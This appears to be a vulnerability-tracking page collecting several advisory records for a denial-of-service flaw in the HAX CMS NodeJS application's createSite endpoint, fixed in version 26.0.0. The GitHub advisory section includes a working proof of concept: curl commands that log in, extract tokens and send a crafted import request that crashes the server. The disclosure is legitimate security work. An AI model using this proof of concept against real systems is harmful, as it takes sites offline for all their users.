HAX CMS NodeJS application Vulnerable to Denial of Service using Malicious Import Request

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HAX CMS helps manage microsite universe with PHP or NodeJs backends. Prior to version 26.0.0, the HAX CMS NodeJS application crashes when an authenticated attacker sends a specially crafted site creation request to the createSite endpoint. A single request is sufficient to take the entire application offline, requiring a manual server restart to restore service. Version 26.0.0 fixes the issue.

Source published

5 Jun 2026 19:21:03 UTC

Source modified

9 Jun 2026 14:36:15 UTC

Saved here

23 Oct 2026 15:48:27 UTC

Source terms

CVE Program Terms of Use

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Source: cve-program · CVE Program Terms of Use. The publisher's wording is preserved. ChangeIntel groups the information and labels changes. The JSON record includes additional source fields.

CVSS 3.1 · 6.5 CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H

HAX CMS helps manage microsite universe with PHP or NodeJs backends. Prior to version 26.0.0, the HAX CMS NodeJS application crashes when an authenticated attacker sends a specially crafted site creation request to the createSite endpoint. A single request is sufficient to take the entire application offline, requiring a manual server restart to restore service. Version 26.0.0 fixes the issue.

Source published

Jun 5, 2026, 7:21:03 PM (timezone not stated)

Source modified

Jun 9, 2026, 2:36:15 PM (timezone not stated)

Saved here

15 Nov 2026 14:03:22 UTC

Source terms

ENISA EUVD · source terms and attribution apply

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Source: euvd · ENISA EUVD · source terms and attribution apply. The publisher's wording is preserved. ChangeIntel groups the information and labels changes. The JSON record includes additional source fields.

EUVD CVSS 3.1 · 6.5 CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H

HAX CMS helps manage microsite universe with PHP or NodeJs backends. Prior to version 26.0.0, the HAX CMS NodeJS application crashes when an authenticated attacker sends a specially crafted site creation request to the createSite endpoint. A single request is sufficient to take the entire application offline, requiring a manual server restart to restore service. Version 26.0.0 fixes the issue.

Source published

5 Jun 2026 20:17:33 UTC

Source modified

23 Jul 2026 07:10:00 UTC

Saved here

25 Oct 2026 12:17:14 UTC

Source terms

NIST NVD usage terms; underlying source attribution retained

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Source: nvd · NIST NVD usage terms; underlying source attribution retained. The publisher's wording is preserved. ChangeIntel groups the information and labels changes. The JSON record includes additional source fields.

CVSS 3.1 · [email protected] · Secondary · 6.5 CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H

### Summary The HAX CMS NodeJS application crashes when an authenticated attacker sends a specially crafted site creation request to the createSite endpoint. A single request is sufficient to take the entire application offline, requiring a manual server restart to restore service. ### Details The `createSite` remote import flow does **not** complete end-to-end. Instead, the server crashes before the outbound HTTP fetch happens. The crash occurs because `createSite` passes a file object without `originalname`, while `HAXCMSFile.save()` immediately dereferences `tmpFile.originalname.replace(...)`. As a result: - the request reaches privileged code inside `createSite` - the server hits the remote file handling path - the process crashes before `downloadAndSaveFile()` performs the outbound request - no imported file is written into the site directory ### Affected Resources - src/routes/createSite.js:176 - src/lib/HAXCMSFile.js:25 - system/api/createSite ### PoC 1. Obtain a JWT by logging in with valid credentials. ```bash JWT=$(curl -s -X POST 'http://127.0.0.1:3000/system/api/login' \ -H 'Content-Type: application/json' \ -d '{"username":"admin","password":"admin"}' | grep -o '"jwt":"[^"]*"' | head -1 | cut -d'"' -f4) ``` 2. Extract the required tokens from the `connectionSettings` endpoint. ```bash SETTINGS=$(curl -s 'http://127.0.0.1:3000/system/api/connectionSettings') ROOT_TOKEN=$(printf '%s' "$SETTINGS" | grep -o '"token":"[^"]*"' | head -1 | cut -d'"' -f4) USER_TOKEN=$(printf '%s' "$SETTINGS" | grep -o 'createSite[^"]*' | grep -o 'user_token=[^"&]*' | cut -d'=' -f2) ``` 3. Send the malformed request to crash the server. ```bash curl -i -X POST "http://127.0.0.1:3000/system/api/createSite?user_token=$USER_TOKEN&jwt=$JWT" \ -H 'Content-Type: application/json' \ -d "{ \"token\": \"$ROOT_TOKEN\", \"site\": { \"name\": \"dos-poc\" }, \"theme\": {}, \"build\": { \"structure\": \"import\", \"type\": \"import\", \"items\": [], \"files\": { \"files/poc.txt\": \"http://127.0.0.1:8888/poc.txt\" } } }" ``` <img width="953" height="433" alt="Empty-Reply" src="https://github.com/user-attachments/assets/f3562726-2e64-4af6-a06c-8356dc7708da" /> The curl client receives an empty reply as the server crashes mid-request. The Node.js process terminates immediately with TypeError: Cannot read properties of undefined (reading 'replace') and nodemon reports the application as crashed. <img width="950" height="278" alt="crash-detail" src="https://github.com/user-attachments/assets/1fbc80fb-4c2d-4bc6-af29-c3e9c45e8ad1" /> ### Impact An authenticated attacker can crash the HAX CMS NodeJS process with a single HTTP request, making the application unavailable to all users until the server is manually restarted. Since HAX CMS allows account registration, an attacker does not need to compromise existing credentials; they can create their own account and immediately use it to trigger the crash.

Source published

19 May 2026 19:51:51 UTC

Source modified

10 Sep 2026 03:51:05 UTC

Saved here

24 Oct 2026 13:17:17 UTC

Source terms

GitHub Advisory Database · CC-BY-4.0

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Source: osv · GitHub Advisory Database · CC-BY-4.0. The publisher's wording is preserved. ChangeIntel groups the information and labels changes. The JSON record includes additional source fields.

CVSS_V3 · CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H

Publisher rating · MODERATE